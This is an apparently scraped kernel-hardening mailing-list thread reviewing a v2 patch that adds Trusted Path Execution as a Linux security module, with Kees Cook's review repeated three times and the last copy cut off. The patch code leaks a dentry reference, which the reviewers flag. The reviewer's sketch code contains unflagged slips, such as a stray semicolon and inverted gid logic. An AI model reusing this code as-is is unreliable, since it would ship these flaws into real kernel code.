I really didn't intend to comment on this further, but I just happened
to notice:

On Wed, Jun 07, 2017 at 11:43:49PM -0400, Matt Brown wrote:
> +static int tpe_check(struct file *file, char *method)
> +{
> +	struct inode *inode;
> +	struct inode *file_inode;
> +	struct dentry *dir;
> +	const struct cred *cred = current_cred();
> +	char *reason1 = NULL;
> +	char *reason2 = NULL;
> +
> +	dir = dget_parent(file->f_path.dentry);
> +	inode = d_backing_inode(dir);
> +	file_inode = d_backing_inode(file->f_path.dentry);
> +
> +	if (!tpe_enabled)
> +		return 0;

You have many return statements in tpe_check(), where it is already past
dget_parent() and thus must have reached:

> +end:
> +	dput(dir);

You'll probably want to move the dget_parent() and the following two
lines to be below the first few checks where you may just return, and
then be careful not to ever use a return statement anymore.

Alexander

Re: [kernel-hardening] [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 6/8/17 9:05 AM, Solar Designer wrote:
> Matt,
> 
> I really didn't intend to comment on this further, but I just happened
> to notice:
> 
> On Wed, Jun 07, 2017 at 11:43:49PM -0400, Matt Brown wrote:
>> +static int tpe_check(struct file *file, char *method)
>> +{
>> +	struct inode *inode;
>> +	struct inode *file_inode;
>> +	struct dentry *dir;
>> +	const struct cred *cred = current_cred();
>> +	char *reason1 = NULL;
>> +	char *reason2 = NULL;
>> +
>> +	dir = dget_parent(file->f_path.dentry);
>> +	inode = d_backing_inode(dir);
>> +	file_inode = d_backing_inode(file->f_path.dentry);
>> +
>> +	if (!tpe_enabled)
>> +		return 0;
> 
> You have many return statements in tpe_check(), where it is already past
> dget_parent() and thus must have reached:
> 

crap, you're right. Will fix this in v3.

>> +end:
>> +	dput(dir);
> 
> You'll probably want to move the dget_parent() and the following two
> lines to be below the first few checks where you may just return, and
> then be careful not to ever use a return statement anymore.
> 
> Alexander
> 

[kernel-hardening] Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Kees Cook]

On Wed, Jun 7, 2017 at 8:43 PM, Matt Brown <matt@nmatt.com> wrote:
> This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
> feature. It also adds features and config options that were found in Corey
> Henderson's tpe-lkm project.
>
> Modifications from Brad Spengler's implementation of TPE were made to
> turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
> Also, a new denial logging function was used to simplify printing messages
> to the kernel log. Additionally, mmap and mprotect restrictions were
> taken from Corey Henderson's tpe-lkm project and implemented using the
> LSM hooks mmap_file and file_mprotect.
>
> Trusted Path Execution is not a new idea:
>
> http://phrack.org/issues/52/6.html#article
>
> | A trusted path is one that is inside a root owned directory that
> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
> | (under normal circumstances) considered trusted.  Any non-root
> | users home directory is not trusted, nor is /tmp.
>
> To be clear, Trusted Path Execution is no replacement for a MAC system
> like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
> without requiring a userland utility to configure policies. The fact
> that TPE only requires the user to turn on a few sysctl options lowers
> the barrier to implementing a security framework substantially.
>
> Threat Models:
>
> 1. Attacker on system executing exploit on system vulnerability
>
> *  If attacker uses a binary as a part of their system exploit, TPE can
>    frustrate their efforts
>
> *  This protection can be more effective when an attacker does not yet
>    have an interactive shell on a system
>
> *  Issues:
>    *  Can be bypassed by interpreted languages such as python. You can run
>       malicious code by doing: python -c 'evil code'

What's the recommendation for people interested in using TPE but
having interpreters installed?

>
> 2. Attacker on system replaces binary used by a privileged user with a
>    malicious one
>
> *  This situation arises when the administrator of a system leaves a
>    binary as world writable.
>
> *  TPE is very effective against this threat model
>
> This Trusted Path Execution implementation introduces the following
> Kconfig options and sysctls. The Kconfig text and sysctl options are
> taken heavily from Brad Spengler's implementation. Some extra sysctl
> options were taken from Corey Henderson's implementation.
>
> CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)
>
> default: n
>
> This option enables Trusted Path Execution. TPE blocks *untrusted*
> users from executing files that meet the following conditions:
>
> * file is not in a root-owned directory
> * file is writable by a user other than root
>
> NOTE: By default root is not restricted by TPE.
>
> CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)
>
> default: 0
>
> This option defines a group id that, by default, is the trusted group.
> If a user is not trusted then it has the checks described in
> CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
> checks are not applied. You can disable the trusted gid option by
> setting it to 0. This makes all non-root users untrusted.
>
> CONFIG_SECURITY_TPE_STRICT (sysctl=kernel.tpe.strict)
>
> default: n
>
> This option applies another set of restrictions to all non-root users
> even if they are trusted. This only allows execution under the
> following conditions:
>
> * file is in a directory owned by the user that is not group or
>   world-writable
> * file is in a directory owned by root and writable only by root
>
> CONFIG_SECURITY_TPE_RESTRICT_ROOT (sysctl=kernel.tpe.restrict_root)
>
> default: n
>
> This option applies all enabled TPE restrictions to root.
>
> CONFIG_SECURITY_TPE_INVERT_GID (sysctl=kernel.tpe.invert_gid)
>
> default: n
>
> This option reverses the trust logic of the gid option and makes
> kernel.tpe.gid into the untrusted group. This means that all other groups
> become trusted. This sysctl is helpful when you want TPE restrictions
> to be limited to a small subset of users.
>
> Signed-off-by: Matt Brown <matt@nmatt.com>
> ---
>  Documentation/security/tpe.txt |  59 +++++++++++
>  MAINTAINERS                    |   5 +
>  include/linux/lsm_hooks.h      |   5 +
>  security/Kconfig               |   1 +
>  security/Makefile              |   2 +
>  security/security.c            |   1 +
>  security/tpe/Kconfig           |  64 ++++++++++++
>  security/tpe/Makefile          |   3 +
>  security/tpe/tpe_lsm.c         | 218 +++++++++++++++++++++++++++++++++++++++++
>  9 files changed, 358 insertions(+)
>  create mode 100644 Documentation/security/tpe.txt
>  create mode 100644 security/tpe/Kconfig
>  create mode 100644 security/tpe/Makefile
>  create mode 100644 security/tpe/tpe_lsm.c
>
> diff --git a/Documentation/security/tpe.txt b/Documentation/security/tpe.txt
> new file mode 100644
> index 0000000..226afcc
> --- /dev/null
> +++ b/Documentation/security/tpe.txt
> @@ -0,0 +1,59 @@
> [...]

Yes, docs! I love it. :) One suggestion, though, all of the per-LSM
docs were moved in -next from .txt to .rst files, and had index
entries added, etc:
https://patchwork.kernel.org/patch/9725165/

Namely, move to Documentation/admin-guide/LSM/, add an entry to
index.rst and format it using ReST:
https://www.kernel.org/doc/html/latest/doc-guide/sphinx.html#writing-documentation

> diff --git a/security/tpe/Kconfig b/security/tpe/Kconfig
> new file mode 100644
> index 0000000..a1b8f17
> --- /dev/null
> +++ b/security/tpe/Kconfig
> @@ -0,0 +1,64 @@
> +config SECURITY_TPE
> +       bool "Trusted Path Execution (TPE)"
> +       default n
> +       help
> +         If you say Y here, you will be able to choose a gid to add to the
> +         supplementary groups of users you want to mark as "trusted."
> +         Untrusted users will not be able to execute any files that are not in
> +         root-owned directories writable only by root.  If the sysctl option
> +         is enabled, a sysctl option with name "tpe.enabled" is created.
> +
> +config SECURITY_TPE_GID
> +       int
> +       default SECURITY_TPE_TRUSTED_GID if (SECURITY_TPE && !SECURITY_TPE_INVERT_GID)
> +       default SECURITY_TPE_UNTRUSTED_GID if (SECURITY_TPE && SECURITY_TPE_INVERT_GID)

I think this should have "depends on SECURITY_TPE" (like all the others).

> [...]
> diff --git a/security/tpe/tpe_lsm.c b/security/tpe/tpe_lsm.c
> new file mode 100644
> index 0000000..fda811a
> --- /dev/null
> +++ b/security/tpe/tpe_lsm.c
> @@ -0,0 +1,218 @@
> +/*
> + * Trusted Path Execution Security Module
> + *
> + * Copyright (C) 2017 Matt Brown
> + * Copyright (C) 2001-2014 Bradley Spengler, Open Source Security, Inc.
> + * http://www.grsecurity.net spender@grsecurity.net
> + * Copyright (C) 2011 Corey Henderson
> + *
> + * This program is free software; you can redistribute it and/or
> + * modify it under the terms of the GNU General Public License version 2
> + * as published by the Free Software Foundation.
> + *
> + * This program is distributed in the hope that it will be useful,
> + * but WITHOUT ANY WARRANTY; without even the implied warranty of
> + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
> + * GNU General Public License for more details.
> + *
> + */
> +#include <linux/kernel.h>
> +#include <linux/uidgid.h>
> +#include <linux/ratelimit.h>
> +#include <linux/limits.h>
> +#include <linux/cred.h>
> +#include <linux/slab.h>
> +#include <linux/lsm_hooks.h>
> +#include <linux/sysctl.h>
> +#include <linux/binfmts.h>
> +#include <linux/string_helpers.h>
> +#include <linux/dcache.h>
> +#include <uapi/asm-generic/mman-common.h>
> +
> +#define global_root(x) uid_eq((x), GLOBAL_ROOT_UID)
> +#define global_nonroot(x) (!uid_eq((x), GLOBAL_ROOT_UID))
> +#define global_root_gid(x) (gid_eq((x), GLOBAL_ROOT_GID))
> +#define global_nonroot_gid(x) (!gid_eq((x), GLOBAL_ROOT_GID))
> +
> +static int tpe_enabled __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE);
> +static kgid_t tpe_gid __read_mostly = KGIDT_INIT(CONFIG_SECURITY_TPE_GID);
> +static int tpe_invert_gid __read_mostly =
> +       IS_ENABLED(CONFIG_SECURITY_TPE_INVERT_GID);
> +static int tpe_strict __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE_STRICT);
> +static int tpe_restrict_root __read_mostly =
> +       IS_ENABLED(CONFIG_SECURITY_TPE_RESTRICT_ROOT);
> +
> +int print_tpe_error(struct file *file, char *reason1, char *reason2,
> +       char *method)

I think these char * can all be const char *.

> +{
> +       char *filepath;
> +
> +       filepath = kstrdup_quotable_file(file, GFP_KERNEL);
> +
> +       if (!filepath)
> +               return -ENOMEM;
> +
> +       pr_warn_ratelimited("TPE: Denied %s of %s Reason: %s%s%s\n", method,
> +               (IS_ERR(filepath) ? "failed fetching file path" : filepath),
> +               reason1, reason2 ? " and " : "", reason2 ?: "");
> +       kfree(filepath);
> +       return -EPERM;
> +}
> +
> +static int tpe_check(struct file *file, char *method)

This char * can be const char *.

> +{
> +       struct inode *inode;
> +       struct inode *file_inode;
> +       struct dentry *dir;
> +       const struct cred *cred = current_cred();
> +       char *reason1 = NULL;
> +       char *reason2 = NULL;

Perhaps check file argument for NULL here instead of each caller?

> +
> +       dir = dget_parent(file->f_path.dentry);
> +       inode = d_backing_inode(dir);
> +       file_inode = d_backing_inode(file->f_path.dentry);
> +
> +       if (!tpe_enabled)
> +               return 0;
> +
> +       /* never restrict root unless restrict_root sysctl is 1*/
> +       if (global_root(cred->uid) && !tpe_restrict_root)
> +               return 0;
> +
> +       if (!tpe_strict)
> +               goto general_tpe_check;

This kind of use of goto tells me the code sections need to be
separate functions. i.e. tpe_check_strict() for the bit below before
general_tpe_check:

> +
> +       /* TPE_STRICT: restrictions enforced even if the gid is trusted */
> +       if (global_nonroot(inode->i_uid) && !uid_eq(inode->i_uid, cred->uid))
> +               reason1 = "directory not owned by user";
> +       else if (inode->i_mode & 0002)
> +               reason1 = "file in world-writable directory";
> +       else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
> +               reason1 = "file in group-writable directory";
> +       else if (file_inode->i_mode & 0002)
> +               reason1 = "file is world-writable";
> +
> +       if (reason1)
> +               goto end;

struct tpe_rationale {
    const char *reason1;
    const char *reason2;
};

bool tpe_check_strict(...)
{
    if (!tpe_strict);
        return false;
    ...
    return rationale->reason1 != NULL;
}

static int tpe_check(...)
{
    ...
    struct tpe_rationale rationale= { };

    if (tpe_check_strict(inode, cred, &rationale))
        goto end;
...

> +general_tpe_check:
> +       /* determine if group is trusted */
> +       if (global_root_gid(tpe_gid))
> +               goto next_check;
> +       if (!tpe_invert_gid && !in_group_p(tpe_gid))
> +               reason2 = "not in trusted group";
> +       else if (tpe_invert_gid && in_group_p(tpe_gid))
> +               reason2 = "in untrusted group";
> +       else
> +               return 0;

(This return 0 currently leaks the dget that is put at the end label.
Ah, yes, already pointed out I see now in later reply in thread.)

    if (tpe_check_general(inode, cred, &rationale))
        goto end;

bool tpe_check_general(...)
{
    if (!global_root_gid(tpe_gid)) {
         rationale->reason1 = NULL;
         return true;
    }
    ...
}

> +
> +next_check:
> +       /* main TPE checks */
> +       if (global_nonroot(inode->i_uid))
> +               reason1 = "file in non-root-owned directory";
> +       else if (inode->i_mode & 0002)
> +               reason1 = "file in world-writable directory";
> +       else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
> +               reason1 = "file in group-writable directory";
> +       else if (file_inode->i_mode & 0002)
> +               reason1 = "file is world-writable";

    tpe_check_main(inode, cred, &rationale);

> +
> +end:
> +       dput(dir);
> +       if (reason1)
> +               return print_tpe_error(file, reason1, reason2, method);
> +       else
> +               return 0;

And the end part above stays.

> +}
> +
> +int tpe_mmap_file(struct file *file, unsigned long reqprot,
> +       unsigned long prot, unsigned long flags)
> +{
> +       if (!file || !(prot & PROT_EXEC))
> +               return 0;
> +
> +       return tpe_check(file, "mmap");
> +}
> +
> +int tpe_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot,
> +       unsigned long prot)
> +{
> +       if (!vma->vm_file)

No examination of reqprot vs prot here?

> +               return 0;
> +       return tpe_check(vma->vm_file, "mprotect");
> +}
> +
> +static int tpe_bprm_set_creds(struct linux_binprm *bprm)
> +{
> +       if (!bprm->file)
> +               return 0;
> +       return tpe_check(bprm->file, "exec");
> +
> +}
> +
> +static struct security_hook_list tpe_hooks[] = {
> +       LSM_HOOK_INIT(mmap_file, tpe_mmap_file),
> +       LSM_HOOK_INIT(file_mprotect, tpe_file_mprotect),
> +       LSM_HOOK_INIT(bprm_set_creds, tpe_bprm_set_creds),
> +};
> +
> +#ifdef CONFIG_SYSCTL
> +struct ctl_path tpe_sysctl_path[] = {
> +       { .procname = "kernel", },
> +       { .procname = "tpe", },
> +       { }
> +};
> +
> +static struct ctl_table tpe_sysctl_table[] = {
> +       {
> +               .procname       = "enabled",
> +               .data           = &tpe_enabled,
> +               .maxlen         = sizeof(int),
> +               .mode           = 0600,
> +               .proc_handler   = proc_dointvec,
> +       },
> +       {
> +               .procname       = "gid",
> +               .data           = &tpe_gid,
> +               .maxlen         = sizeof(int),
> +               .mode           = 0600,
> +               .proc_handler   = proc_dointvec,
> +       },
> +       {
> +               .procname       = "invert_gid",
> +               .data           = &tpe_invert_gid,
> +               .maxlen         = sizeof(int),
> +               .mode           = 0600,
> +               .proc_handler   = proc_dointvec,
> +       },
> +       {
> +               .procname       = "strict",
> +               .data           = &tpe_strict,
> +               .maxlen         = sizeof(int),
> +               .mode           = 0600,
> +               .proc_handler   = proc_dointvec,
> +       },
> +       {
> +               .procname       = "restrict_root",
> +               .data           = &tpe_restrict_root,
> +               .maxlen         = sizeof(int),
> +               .mode           = 0600,
> +               .proc_handler   = proc_dointvec,
> +       },
> +       { }
> +};
> +static void __init tpe_init_sysctl(void)
> +{
> +       if (!register_sysctl_paths(tpe_sysctl_path, tpe_sysctl_table))
> +               panic("TPE: sysctl registration failed.\n");
> +}
> +#else
> +static inline void tpe_init_sysctl(void) { }
> +#endif /* CONFIG_SYSCTL */
> +
> +void __init tpe_add_hooks(void)
> +{
> +       pr_info("TPE: securing systems like it's 1998\n");

:)

> +       security_add_hooks(tpe_hooks, ARRAY_SIZE(tpe_hooks), "tpe");
> +       tpe_init_sysctl();
> +}
> --
> 2.10.2
>

-Kees

-- 
Kees Cook
Pixel Security

Re: [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Kees Cook]

On Wed, Jun 7, 2017 at 8:43 PM, Matt Brown <matt@nmatt.com> wrote:
> This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
> feature. It also adds features and config options that were found in Corey
> Henderson's tpe-lkm project.
>
> Modifications from Brad Spengler's implementation of TPE were made to
> turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
> Also, a new denial logging function was used to simplify printing messages
> to the kernel log. Additionally, mmap and mprotect restrictions were
> taken from Corey Henderson's tpe-lkm project and implemented using the
> LSM hooks mmap_file and file_mprotect.
>
> Trusted Path Execution is not a new idea:
>
> http://phrack.org/issues/52/6.html#article
>
> | A trusted path is one that is inside a root owned directory that
> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
> | (under normal circumstances) considered trusted.  Any non-root
> | users home directory is not trusted, nor is /tmp.
>
> To be clear, Trusted Path Execution is no replacement for a MAC system
> like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
> without requiring a userland utility to configure policies. The fact
> that TPE only requires the user to turn on a few sysctl options lowers
> the barrier to implementing a security framework substantially.
>
> Threat Models:
>
> 1. Attacker on system executing exploit on system vulnerability
>
> *  If attacker uses a binary as a part of their system exploit, TPE can
>    frustrate their efforts
>
> *  This protection can be more effective when an attacker does not yet
>    have an interactive shell on a system
>
> *  Issues:
>    *  Can be bypassed by interpreted languages such as python. You can run
>       malicious code by doing: python -c 'evil code'

What's the recommendation for people interested in using TPE but
having interpreters installed?

>
> 2. Attacker on system replaces binary used by a privileged user with a
>    malicious one
>
> *  This situation arises when the administrator of a system leaves a
>    binary as world writable.
>
> *  TPE is very effective against this threat model
>
> This Trusted Path Execution implementation introduces the following
> Kconfig options and sysctls. The Kconfig text and sysctl options are
> taken heavily from Brad Spengler's implementation. Some extra sysctl
> options were taken from Corey Henderson's implementation.
>
> CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)
>
> default: n
>
> This option enables Trusted Path Execution. TPE blocks *untrusted*
> users from executing files that meet the following conditions:
>
> * file is not in a root-owned directory
> * file is writable by a user other than root
>
> NOTE: By default root is not restricted by TPE.
>
> CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)
>
> default: 0
>
> This option defines a group id that, by default, is the trusted group.
> If a user is not trusted then it has the checks described in
> CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
> checks are not applied. You can disable the trusted gid option by
> setting it to 0. This makes all non-root users untrusted.
>
> CONFIG_SECURITY_TPE_STRICT (sysctl=kernel.tpe.strict)
>
> default: n
>
> This option applies another set of restrictions to all non-root users
> even if they are trusted. This only allows execution under the
> following conditions:
>
> * file is in a directory owned by the user that is not group or
>   world-writable
> * file is in a directory owned by root and writable only by root
>
> CONFIG_SECURITY_TPE_RESTRICT_ROOT (sysctl=kernel.tpe.restrict_root)
>
> default: n
>
> This option applies all enabled TPE restrictions to root.
>
> CONFIG_SECURITY_TPE_INVERT_GID (sysctl=kernel.tpe.invert_gid)
>
> default: n
>
> This option reverses the trust logic of the gid option and makes
> kernel.tpe.gid into the untrusted group. This means that all other groups
> become trusted. This sysctl is helpful when you want TPE restrictions
> to be limited to a small subset of users.
>
> Signed-off-by: Matt Brown <matt@nmatt.com>
> ---
>  Documentation/security/tpe.txt |  59 +++++++++++
>  MAINTAINERS                    |   5 +
>  include/linux/lsm_hooks.h      |   5 +
>  security/Kconfig               |   1 +
>  security/Makefile              |   2 +
>  security/security.c            |   1 +
>  security/tpe/Kconfig           |  64 ++++++++++++
>  security/tpe/Makefile          |   3 +
>  security/tpe/tpe_lsm.c         | 218 +++++++++++++++++++++++++++++++++++++++++
>  9 files changed, 358 insertions(+)
>  create mode 100644 Documentation/security/tpe.txt
>  create mode 100644 security/tpe/Kconfig
>  create mode 100644 security/tpe/Makefile
>  create mode 100644 security/tpe/tpe_lsm.c
>
> diff --git a/Documentation/security/tpe.txt b/Documentation/security/tpe.txt
> new file mode 100644
> index 0000000..226afcc
> --- /dev/null
> +++ b/Documentation/security/tpe.txt
> @@ -0,0 +1,59 @@
> [...]

Yes, docs! I love it. :) One suggestion, though, all of the per-LSM
docs were moved in -next from .txt to .rst files, and had index
entries added, etc:
https://patchwork.kernel.org/patch/9725165/

Namely, move to Documentation/admin-guide/LSM/, add an entry to
index.rst and format it using ReST:
https://www.kernel.org/doc/html/latest/doc-guide/sphinx.html#writing-documentation

> diff --git a/security/tpe/Kconfig b/security/tpe/Kconfig
> new file mode 100644
> index 0000000..a1b8f17
> --- /dev/null
> +++ b/security/tpe/Kconfig
> @@ -0,0 +1,64 @@
> +config SECURITY_TPE
> +       bool "Trusted Path Execution (TPE)"
> +       default n
> +       help
> +         If you say Y here, you will be able to choose a gid to add to the
> +         supplementary groups of users you want to mark as "trusted."
> +         Untrusted users will not be able to execute any files that are not in
> +         root-owned directories writable only by root.  If the sysctl option
> +         is enabled, a sysctl option with name "tpe.enabled" is created.
> +
> +config SECURITY_TPE_GID
> +       int
> +       default SECURITY_TPE_TRUSTED_GID if (SECURITY_TPE && !SECURITY_TPE_INVERT_GID)
> +       default SECURITY_TPE_UNTRUSTED_GID if (SECURITY_TPE && SECURITY_TPE_INVERT_GID)

I think this should have "depends on SECURITY_TPE" (like all the others).

> [...]
> diff --git a/security/tpe/tpe_lsm.c b/security/tpe/tpe_lsm.c
> new file mode 100644
> index 0000000..fda811a
> --- /dev/null
> +++ b/security/tpe/tpe_lsm.c
> @@ -0,0 +1,218 @@
> +/*
> + * Trusted Path Execution Security Module
> + *
> + * Copyright (C) 2017 Matt Brown
> + * Copyright (C) 2001-2014 Bradley Spengler, Open Source Security, Inc.
> + * http://www.grsecurity.net spender@grsecurity.net
> + * Copyright (C) 2011 Corey Henderson
> + *
> + * This program is free software; you can redistribute it and/or
> + * modify it under the terms of the GNU General Public License version 2
> + * as published by the Free Software Foundation.
> + *
> + * This program is distributed in the hope that it will be useful,
> + * but WITHOUT ANY WARRANTY; without even the implied warranty of
> + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
> + * GNU General Public License for more details.
> + *
> + */
> +#include <linux/kernel.h>
> +#include <linux/uidgid.h>
> +#include <linux/ratelimit.h>
> +#include <linux/limits.h>
> +#include <linux/cred.h>
> +#include <linux/slab.h>
> +#include <linux/lsm_hooks.h>
> +#include <linux/sysctl.h>
> +#include <linux/binfmts.h>
> +#include <linux/string_helpers.h>
> +#include <linux/dcache.h>
> +#include <uapi/asm-generic/mman-common.h>
> +
> +#define global_root(x) uid_eq((x), GLOBAL_ROOT_UID)
> +#define global_nonroot(x) (!uid_eq((x), GLOBAL_ROOT_UID))
> +#define global_root_gid(x) (gid_eq((x), GLOBAL_ROOT_GID))
> +#define global_nonroot_gid(x) (!gid_eq((x), GLOBAL_ROOT_GID))
> +
> +static int tpe_enabled __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE);
> +static kgid_t tpe_gid __read_mostly = KGIDT_INIT(CONFIG_SECURITY_TPE_GID);
> +static int tpe_invert_gid __read_mostly =
> +       IS_ENABLED(CONFIG_SECURITY_TPE_INVERT_GID);
> +static int tpe_strict __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE_STRICT);
> +static int tpe_restrict_root __read_mostly =
> +       IS_ENABLED(CONFIG_SECURITY_TPE_RESTRICT_ROOT);
> +
> +int print_tpe_error(struct file *file, char *reason1, char *reason2,
> +       char *method)

I think these char * can all be const char *.

> +{
> +       char *filepath;
> +
> +       filepath = kstrdup_quotable_file(file, GFP_KERNEL);
> +
> +       if (!filepath)
> +               return -ENOMEM;
> +
> +       pr_warn_ratelimited("TPE: Denied %s of %s Reason: %s%s%s\n", method,
> +               (IS_ERR(filepath) ? "failed fetching file path" : filepath),
> +               reason1, reason2 ? " and " : "", reason2 ?: "");
> +       kfree(filepath);
> +       return -EPERM;
> +}
> +
> +static int tpe_check(struct file *file, char *method)

This char * can be const char *.

> +{
> +       struct inode *inode;
> +       struct inode *file_inode;
> +       struct dentry *dir;
> +       const struct cred *cred = current_cred();
> +       char *reason1 = NULL;
> +       char *reason2 = NULL;

Perhaps check file argument for NULL here instead of each caller?

> +
> +       dir = dget_parent(file->f_path.dentry);
> +       inode = d_backing_inode(dir);
> +       file_inode = d_backing_inode(file->f_path.dentry);
> +
> +       if (!tpe_enabled)
> +               return 0;
> +
> +       /* never restrict root unless restrict_root sysctl is 1*/
> +       if (global_root(cred->uid) && !tpe_restrict_root)
> +               return 0;
> +
> +       if (!tpe_strict)
> +               goto general_tpe_check;

This kind of use of goto tells me the code sections need to be
separate functions. i.e. tpe_check_strict() for the bit below before
general_tpe_check:

> +
> +       /* TPE_STRICT: restrictions enforced even if the gid is trusted */
> +       if (global_nonroot(inode->i_uid) && !uid_eq(inode->i_uid, cred->uid))
> +               reason1 = "directory not owned by user";
> +       else if (inode->i_mode & 0002)
> +               reason1 = "file in world-writable directory";
> +       else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
> +               reason1 = "file in group-writable directory";
> +       else if (file_inode->i_mode & 0002)
> +               reason1 = "file is world-writable";
> +
> +       if (reason1)
> +               goto end;

struct tpe_rationale {
    const char *reason1;
    const char *reason2;
};

bool tpe_check_strict(...)
{
    if (!tpe_strict);
        return false;
    ...
    return rationale->reason1 != NULL;
}

static int tpe_check(...)
{
    ...
    struct tpe_rationale rationale= { };

    if (tpe_check_strict(inode, cred, &rationale))
        goto end;
...

> +general_tpe_check:
> +       /* determine if group is trusted */
> +       if (global_root_gid(tpe_gid))
> +               goto next_check;
> +       if (!tpe_invert_gid && !in_group_p(tpe_gid))
> +               reason2 = "not in trusted group";
> +       else if (tpe_invert_gid && in_group_p(tpe_gid))
> +               reason2 = "in untrusted group";
> +       else
> +               return 0;

(This return 0 currently leaks the dget that is put at the end label.
Ah, yes, already pointed out I see now in later reply in thread.)

    if (tpe_check_general(inode, cred, &rationale))
        goto end;

bool tpe_check_general(...)
{
    if (!global_root_gid(tpe_gid)) {
         rationale->reason1 = NULL;
         return true;
    }
    ...
}

> +
> +next_check:
> +       /* main TPE checks */
> +       if (global_nonroot(inode->i_uid))
> +               reason1 = "file in non-root-owned directory";
> +       else if (inode->i_mode & 0002)
> +               reason1 = "file in world-writable directory";
> +       else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
> +               reason1 = "file in group-writable directory";
> +       else if (file_inode->i_mode & 0002)
> +               reason1 = "file is world-writable";

    tpe_check_main(inode, cred, &rationale);

> +
> +end:
> +       dput(dir);
> +       if (reason1)
> +               return print_tpe_error(file, reason1, reason2, method);
> +       else
> +               return 0;

And the end part above stays.

> +}
> +
> +int tpe_mmap_file(struct file *file, unsigned long reqprot,
> +       unsigned long prot, unsigned long flags)
> +{
> +       if (!file || !(prot & PROT_EXEC))
> +               return 0;
> +
> +       return tpe_check(file, "mmap");
> +}
> +
> +int tpe_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot,
> +       unsigned long prot)
> +{
> +       if (!vma->vm_file)

No examination of reqprot vs prot here?

> +               return 0;
> +       return tpe_check(vma->vm_file, "mprotect");
> +}
> +
> +static int tpe_bprm_set_creds(struct linux_binprm *bprm)
> +{
> +       if (!bprm->file)
> +               return 0;
> +       return tpe_check(bprm->file, "exec");
> +
> +}
> +
> +static struct security_hook_list tpe_hooks[] = {
> +       LSM_HOOK_INIT(mmap_file, tpe_mmap_file),
> +       LSM_HOOK_INIT(file_mprotect, tpe_file_mprotect),
> +       LSM_HOOK_INIT(bprm_set_creds, tpe_bprm_set_creds),
> +};
> +
> +#ifdef CONFIG_SYSCTL
> +struct ctl_path tpe_sysctl_path[] = {
> +       { .procname = "kernel", },
> +       { .procname = "tpe", },
> +       { }
> +};
> +
> +static struct ctl_table tpe_sysctl_table[] = {
> +       {
> +               .procname       = "enabled",
> +               .data           = &tpe_enabled,
> +               .maxlen         = sizeof(int),
> +               .mode           = 0600,
> +               .proc_handler   = proc_dointvec,
> +       },
> +       {
> +               .procname       = "gid",
> +               .data           = &tpe_gid,
> +               .maxlen         = sizeof(int),
> +               .mode           = 0600,
> +               .proc_handler   = proc_dointvec,
> +       },
> +       {
> +               .procname       = "invert_gid",
> +               .data           = &tpe_invert_gid,
> +               .maxlen         = sizeof(int),
> +               .mode           = 0600,
> +               .proc_handler   = proc_dointvec,
> +       },
> +       {
> +               .procname       = "strict",
> +               .data           = &tpe_strict,
> +               .maxlen         = sizeof(int),
> +               .mode           = 0600,
> +               .proc_handler   = proc_dointvec,
> +       },
> +       {
> +               .procname       = "restrict_root",
> +               .data           = &tpe_restrict_root,
> +               .maxlen         = sizeof(int),
> +               .mode           = 0600,
> +               .proc_handler   = proc_dointvec,
> +       },
> +       { }
> +};
> +static void __init tpe_init_sysctl(void)
> +{
> +       if (!register_sysctl_paths(tpe_sysctl_path, tpe_sysctl_table))
> +               panic("TPE: sysctl registration failed.\n");
> +}
> +#else
> +static inline void tpe_init_sysctl(void) { }
> +#endif /* CONFIG_SYSCTL */
> +
> +void __init tpe_add_hooks(void)
> +{
> +       pr_info("TPE: securing systems like it's 1998\n");

:)

> +       security_add_hooks(tpe_hooks, ARRAY_SIZE(tpe_hooks), "tpe");
> +       tpe_init_sysctl();
> +}
> --
> 2.10.2
>

-Kees

-- 
Kees Cook
Pixel Security

[PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Kees Cook]

On Wed, Jun 7, 2017 at 8:43 PM, Matt Brown <matt@nmatt.com> wrote:
> This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
> feature. It also adds features and config options that were found in Corey
> Henderson's tpe-lkm project.
>
> Modifications from Brad Spengler's implementation of TPE were made to
> turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
> Also, a new denial logging function was used to simplify printing messages
> to the kernel log. Additionally, mmap and mprotect restrictions were
> taken from Corey Henderson's tpe-lkm project and implemented using the
> LSM hooks mmap_file and file_mprotect.
>
> Trusted Path Execution is not a new idea:
>
> http://phrack.org/issues/52/6.html#article
>
> | A trusted path is one that is inside a root owned directory that
> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
> | (under normal circumstances) considered trusted.  Any non-root
> | users home directory is not trusted, nor is /tmp.
>
> To be clear, Trusted Path Execution is no replacement for a MAC system
> like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
> without requiring a userland utility to configure policies. The fact
> that TPE only requires the user to turn on a few sysctl options lowers
> the barrier to implementing a security framework substantially.
>
> Threat Models:
>
> 1. Attacker on system executing exploit on system vulnerability
>
